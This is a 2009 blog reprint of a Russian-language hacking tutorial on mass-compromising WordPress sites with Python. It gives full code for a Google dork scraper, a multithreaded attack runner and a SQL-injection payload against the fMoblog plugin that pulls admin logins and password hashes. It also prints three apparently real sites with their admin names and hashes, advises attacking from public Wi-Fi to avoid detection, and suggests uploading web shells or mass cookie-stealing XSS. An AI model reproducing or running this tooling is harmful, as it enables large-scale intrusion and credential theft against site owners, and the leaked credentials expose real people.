Статья. Конвеєрний взлом

22 Липня 2009
Сьогодні MakZzz написав коментар, де вказав що статтю Бота для адміністрування я опублікував 2 рази. За що вибачаюсь. Коли це побачив, то зрозумів, що якусь статтю пропустив. І це якраз "Конвеєрний взлом". Відео до статті і файли можна знайти в її анонсі: http://tutamc.com/node/159

Конвейерный взлом

Автоматизация взлома сайтов за минимальное время с помощью Python

"Денег много не бывает" эта пословица корректна и для хака в варианте "сайтов много не бывает". Захватить один сайт, к примеру, за час - хорошо, а сотню… Вот - действительно здорово. Но для этого нужно все максимально автоматизировать. И в статье на основе конкретного примера напишем тулзу на Python с помощью которой захватим пару десятков сайтов.

У меня на RSS-читалку подписано много сайтов и среди них крупнейший баг-трекер http://milw0rm.com/. Поэтому постоянно приходят все самые последние уязвимости. Но с некоторых пор начал задумываться над тем, что интересно бы было применить все эти уязвимости на практике, ведь что же они будут лежать без пользы. Так сказать, создать маленький заводик, в котором исходные материалы на конвейер будут браться с milw0rm, а на выходе конвейера будем получать много-много паролей к сайтам. К сожалению, полностью автоматический такой завод создать не получится на практике, но что-то приближенное - вполне реально.

Общий алгоритм роботы заводика такой: - достать список всех сайтов, где теоретически есть уязвимость; - применить уязвимость к каждому из них.

Итак, попробуем создать наш хак-завод состоящий с нескольких скриптов.

Пример для конвейера

Над выбором примера долго не будем мучится, а возьмем последнее, что есть на milw0rm под любимый многими WordPress - http://milw0rm.com/exploits/8229, где описана бага в плагине галереи fMoblog: Wordpress Plugin fMoblog Remote SQL Injection Vulnerability Author: strange kevin Dork: "Gallery powered by fMoblog" Exploit: http://www.site.com/?page_id=[valid_id]& id=-99+union+all+select+1,2,3,4,group_concat( user_login,0x3a,user_pass,0x3a,user_email), 6+from+wp_users--

Еще в этой статье на milw0rm есть дэмо-сайт, где можно попробовать данную уязвимость.

Список жертв

Начнем наш массовый захват сайтов, основываясь на данной баге, конечно же, с поиска жертв. В описании автор любезно предоставил dork - фразу для поиска с помощь которой можно получить список почти всех жертв. Но, исходя из опыта, он не совсем подойдет, ведь потом в сплойте, как указал авторе, будет нужен валидный идентификатор страницы, поэтому желательно этот идентификатор с поиска получить одновременно с URL страницы. Поэтому дорк нужно изменить на такой: inurl:page_id+"Gallery+powered+by+fMoblog" Теперь пропарсим Гугл по этому дорку, тоесть открывая URL вида: http://www.google.com/search?q=dork&start=0 где вместо dork будем вставлять наш дорк, а также изменять параметр start с шагом 10 (по умолчанию гугл выдает по 10 адресов на страницу). После загрузки страницы применим регулярку, чтобы получить список URL уязвимых сайтов. Составить регулярку легко, посмотрев на исходную страницу Гугла после поиска, ведь можно заметить, что все нужное нам находится в теге «а» что идет после какого-то элемента с классом "r", поэтому получим следующую регулярку для поиска: class=r>

Видим, что в квадратных скобках указано взять все символы кроме двойных кавычек или знака &. Если есть, к примеру, строчка: ...

то регулярка в первом параметре вернет http://saturdaybang.org/?page_id=12, что нам и нужно.

Используя вышеперечисленные знания, напишем скрипт парсинга (google.py), который результаты будет складывать в файл, пусть в google.txt. На этом скрипте в силу простоты останавливаться не будем, а его комментированные исходники сможешь найти во врезке. Лишь замечу, что там подключен один не известный тебе самописный модуль curl, размещенный в файле curl.py, который является обверткой над pycurl для облегчения использования. Curl.py состоит лишь из одной функции, которая облегчает использование pycurl при Get-запросах. Эта функция url_get принимает один параметр - URL сайта, а возвращает или пустое значение, если запрос не удался, или тело ответа. Скрипт curl.py следующий: #подключаем модуля для работы с сетью #и для работы со строками import pycurl import StringIO #в аргументе передаем URL запроса def url_get(url): #инициализируем объекты data = StringIO.StringIO() curl = pycurl.Curl() #настраиваем pycurl curl.setopt(pycurl.FOLLOWLOCATION, 0) curl.setopt(pycurl.CONNECTTIMEOUT, 30) curl.setopt(pycurl.URL, url) curl.setopt(pycurl.WRITEFUNCTION,data.write) try: #исполняем запрос curl.perform() except: pass curl.close() #возвращаем результат return data.getvalue()

После запуска написанного скрипта google.py будет получен файл google.txt с уязвимыми в теории сайтами и теперь можно перейти к самому интересному, к разработке непосредственно системы тестирования.

Проектирование завода

Скрипт тестирования можно реализовать по разному, но мне б хотелось сделать ставку на универсальность, чтобы потом легко можно модифицировать под другие баги. Поэтому было решено разделить все на две части. Первая будет главная часть, общая для всех ситуаций, в задачу которой входит открыть список сайтов и по каждому запустить функцию проверки, а саму функцию проверки вынесем в отдельный файл.

Пусть главный файл будет называться autotester.py, а файл с функцией тестирования назовем wp.py.

Разработка wp.py

Модуль wp.py состоит из конфига и одной функции. В конфиге в переменной max_count_thead укажем максимальное количество потоков, а потом в переменных укажем названия файлов, которые нам нужны: file_google = "google.txt" file_success = "success.txt" file_failed = "failed.txt" max_count_thead = 20 видим, что мы будем использовать 3 файла: в file_google будут находиться тестируемые сайты, в file_success складывать удачный результат тестирования, а в file_failed неудачный результат.

С файлами есть один нюанс, ведь нам нужно, чтобы все потоки могли записывать информацию без препятственно в файлы. Сделать это в функции тестирования нельзя, так как она будет исполняться в потоке и могут возникнуть конфликты, когда несколько потоков захотят записывать информацию. Поэтому решено было открытие, закрытие и саму запись вынести в главную программу, а функции тестирования будут лишь вызывать их, ссылаясь на главную программу. Для этого подключим в нашем модуле тестирования главную программу, чтобы был доступ к функциям, которые назовем success и failed. Их подключения выполним так: from __main__ import success,failed __main__ это специальная переменная, что определяет главный модуль. Теперь, к примеру, для того чтобы записать информацию о том, что какой-то сайт не удалось взломать нужно вызвать следующее: failed('site')

Сами функции разработаем, когда будем заниматься главным модулем. Перейдем к разработке функции тестирования. Пусть она будет называться run и в качестве аргумента принимать url сайта для тестирования.

Функция, исходя с тестовой баги, такая: import curl import re def run(url): new_url=url+'&id=-999+union+all+select+1,2,3,4, group_concat( 0x3a,0x3a,user_login,0x3a,user_pass,0x3a,0x3a), 6+from+wp_users--' rez = curl.url_get(new_url) rez = re.findall('::(.*)::',rez) if (len(rez)==0): failed(url) else: success(url+':'+rez[0]) print '# '+url+' tested'

Сначала в ней делается запрос, в котором есть SQL-иньекция, что вернет логины и пароли. При выводе результата он обрамляется двоеточием (0x3a), чтобы потом с текста страницы легко простой регуляркой достать результат. Если он есть то результат записываться в файл с удачными результатами, если нет результата, то URL сайта записывается в файл failed.txt.

Многопоточность

В ядре будем использовать многопоточность, поэтому для лучшего понимания немного теории. Многопоточность в Питоне простоя штука, и ее можно выполнить разными методами, я же расскажу только один, который чаще всего юзаю. Для использования его нужно объявить библиотеку "thread" через команду "import thread", а дальше спокойно запускать любую, абсолютно любую функцию как поток командой thread.start_new_thread.

Что бы продемонстрировать объявим простенькую функцию с одной инструкцией "pass" (в Python нельзя объявить цикл или функцию совсем без инструкций): def some_function(): pass Теперь запустим эту функцию как поток: thread.start_new_thread(some_function,()) А поскольку прелесть потоков в их количестве, то запустим их 10 штук: for i in xrange(0,10): thread.start_new_thread(some_function,()) Но существует проблема - отсутствие встроенное средство контроля за выполнением потоков и их количеством при использовании модуля thread. В результате чего главная программа может завершиться, не дожидаясь выполнения потоков. Для решения этого достаточно ввести дополнительную переменную, которая будет хранить количество активных потоков. Пусть назовем ее "count_thread" и вначале присвоим ей 0, что будет означать количество запущенных потоков равно 0.

А теперь при каждом запуске потока нужно увеличивать наш флаг на 1: for i in xrange(0,sys.argv[3]): count_thread += 1 thread.start_new_thread(some_function,())

И в каждую функцию, которую планируем запускать как поток, добавим изменения, чтобы она при завершении своей работы уменьшала флаг потоков на единицу: def some_function(): global count_thread pass count_thread -= 1 В конце же программы напишем бесконечный цикл, ждущий завершения всех потоков: while (count_thead»0): pass Теперь применим это в нашей программе.

Разработка ядра

В главной программе первым делом нужно подключить функцию тестирования. Пусть имя файла с функцией будет храниться в переменной, и мы потом сможем ее изменять: file_test_site = 'wp' если попробовать вызвать: import file_test_site то Питон выдаст ошибку, что не знает такого модуля. Поэтому подключать нужно через специальную функцию следующим образом: test_site = __import__(file_test_site) этой строчкой все функции и переменные с wp.py будут доступны через переменную test_site в главной программе. К примеру, чтобы обратится к переменной с максимальным количеством потоков объявленной в wp.py нужно написать следующее: print test_site.max_count_thead Дальше в программе по-открываем необходимые файлы, имена которых определены в файле wp.py: fi = open(test_site.file_google,'r') site_list = fi.readlines() site_list = uniq(site_list) f_success = open(test_site.file_success,'w') f_failed = open(test_site.file_failed,'w')

Тут все известно, кроме функции uniq. Функция написана для того чтобы если после парсинга Гугла некоторые сайты повторяются дважды то оставить лишь уникальные сайты. Код этой функции следующий: def uniq(inlist): #объявим пустой список rez = [] #цикл по всему входному списку for item in inlist: #если элемента нет в исходящем списке if item not in rez: #добавим элемент в список результата rez.append(item) return rez

Также следует не забыть написать функции для записи результатов. К примеру, для записи успешных результатов будет такая: def success(text): global f_success f_success.write(text+"\n") f_success.flush() В ней видим что есть функция flush для того чтобы постоянно сбрасывать файловый буфер на диск. И если мы прервем на полпути нашу программу, то все равно результаты будут записаны в файл.

Дальше идет главный цикл программы, который читает site_list и вытягивает оттуда по одной записи URL-сайта через метод pop: site = site_list.pop()

Он позволяет работать со списком как со стеком. Тоесть берет самую верхнюю запись и при этом ее удаляет со списка. Это дает то, что каждый сайт будет обработан лишь один раз.

Теперь подготовительные работы выполнены и можно запускать функцию run_test как поток. А она уже в свою очередь вызовет функцию тестирования run из модуля google.py: def run_test(site): global count_thead test_site.run(site) count_thead -= 1 Сам запуск потоков выглядит так: #пока есть не обработанные сайты while ( len(site_list)»0 ): #если количество потоков меньше максимального числа if (test_site.max_count_thead > count_thead): #взять со списка один сайт site = site_list.pop() count_thead +=1 #запустить проверку взятого сайта thread.start_new_thread(run_test,(site,)) #если потоков больше максимально числа, #то подождем пока какой-то освободиться else: pass

Этот код обеспечивает запуск функции тестирования как потока для всех сайтов, и при этом контролирует, чтобы потоков не было больше максимального числа, что был указан в переменной max_count_thead объявленной в wp.py. Напомню, что все скрипты с подробными комментариями есть на диске.

Защита от "друзей"

Ты, наверно, читая заметил, что я не использую прокси, а работаю напрямую с жертвами. Конечно, при желании, можно поддержку соксов добавить, изменив функцию url_get, но предпочитаю поступать по-другому. Я в основном пишу полностью автоматические скрипты, такие как мы разработали в статье, которые не нуждаются в контроле и наблюдению за ними. И когда все готово, то иду с маленьким ноутом, как принято сейчас называть, с нетбуком, в какое-то заведение, где есть вай-фай. Дальше запускаю скрипты, и спокойно закрываю крышку нетбука и ложу его под стол... И не отвлекаясь, наслаждаюсь чайком ) Никто даже не предполагает, что я вообще что-то делаю в инете. Вай-фай дает вполне приличную скорость, а поскольку юзается многопоточность, то затраты времени на работу скриптов не большие. Потом уже дома смотрю и анализирую готовый результат, что сохранили скрипты. Хотя со стороны безопасности все-таки лучше еще к этому методу использовать соксы, но это каждому решать по-своему. Главное быть всегда осторожным.

Тестирования

Осталось лишь проверить то, что написали. Сначала запустил файл google.py, а потом autotester.py. После их завершения глянул файл success.txt, который порадовал своей не пустотой. Первые 3 строчки с него: http://kotapahlawan.com/wp/:lug:$P$B16Yr5TQFQ2tjrmMxUHiZubzzqZJ2A. http://infodave.com/:admin:$P$B58JineUw6OJoEDL9hD9me5XaumzOt0 http://www.tarynitup.com/:admin:$P$BRH1fDlLrqhpAOLOo38w5Xlke/AH70. Видим, что есть у нас логин и захешированный пароль для доступа в админку. С захешированным паролем поможет разобраться последний PasswordsPro (http://www.insidepro.com/download/passwordspro.zip).

Но доступ к админке не главная цель статьи, в первую очередь я хотел показать, как сделать инструмент, для быстрого и эффективного хака. Ведь если, к примеру, ты возьмешь на sql-injection, а исполнения кода, то сможешь быстро изменить функцию run в wp.py чтобы она заливала тебе шел на сервер. Если найдешь активную XSS, то сможешь легко ее внедрить на все сайты, а потом лишь ждать на снифере кукисов. И все это очень оперативно, ведь ядро изменять не нужно, а лишь функцию тестирования. Простор для творчества очень большой.

Но все это предоставлено только в ознакомительных целях.


Скрипт парсинга Гугла

#конфиг парсера dork = 'inurl:page_id+"Gallery+powered+by+fMoblog"' page = 10 reg = 'class=r»«a href="([^"&]*)' print "# start" print "# dork:" + dork print "# all page: " + str(page) #открываем файл на запись fo = open('google.txt','w') print "# google.txt open" import curl import time import re #пройтись по page страницам в гугле for i in xrange(0,page): #формирование URL url = "http://www.google.com/search?q="+dork+"&start=" + str(i*10) #исполнения запроса rez = curl.url_get(url) #достаем ссылки rez = re.findall(reg,rez) #записываем результат в файл for item in rez: fo.write(item+"\n") print "# page "+str(i+1)+" done" #ждем 2 сек. time.sleep(2) #закрываем файл fo.close print '# all done'

 
 
 
Роман Хоменко aka PresidentUA
mail/jabber: spirt40@gmail.com